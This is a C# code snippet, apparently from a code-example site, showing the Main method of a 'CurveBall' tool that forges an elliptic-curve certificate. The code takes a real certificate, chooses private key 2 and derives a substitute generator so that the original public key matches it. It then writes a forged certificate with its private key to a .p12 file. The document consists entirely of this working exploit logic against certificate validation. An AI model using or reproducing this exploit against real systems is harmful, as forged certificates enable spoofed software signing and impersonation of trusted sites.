Example #1
0
        private static void Main(string[] args)
        {
            Console.WriteLine("=== CurveBall ===");

            if (args.Length != 1)
            {
                throw new ArgumentException("Please specify a path to the certificate");
            }

            Console.WriteLine("= Loading certificate");
            var certificate = new X509Certificate2(args[0]);

            certificate.AssertECC();

            Console.WriteLine("= Fetching public key");
            var publicKeyParameters = certificate.GetPublicKeyParameters();

            Console.WriteLine("= Choosing private key k = 2");
            var newPrivateKey = publicKeyParameters.Parameters.Curve.FromBigInteger(BigInteger.Two);

            Console.WriteLine("= Computing new generator G = k^(-1)Q");
            var newGenerator = CreateGenerator(publicKeyParameters, newPrivateKey);

            Console.WriteLine("= Creating X509Certificate");
            var newDomainParameters     = new ECDomainParameters(publicKeyParameters.Parameters.Curve, newGenerator, publicKeyParameters.Parameters.N);
            var newPublicKeyParameters  = new ECPublicKeyParameters(publicKeyParameters.Q, newDomainParameters);
            var newPrivateKeyParameters = new ECPrivateKeyParameters(newPrivateKey.ToBigInteger(), newDomainParameters);

            var newCertificate = CreateX509Certificate(certificate, newPublicKeyParameters, newPrivateKeyParameters);

            Console.WriteLine("= Writing to file (*.p12)");
            WriteToP12(newCertificate, newPrivateKeyParameters);
        }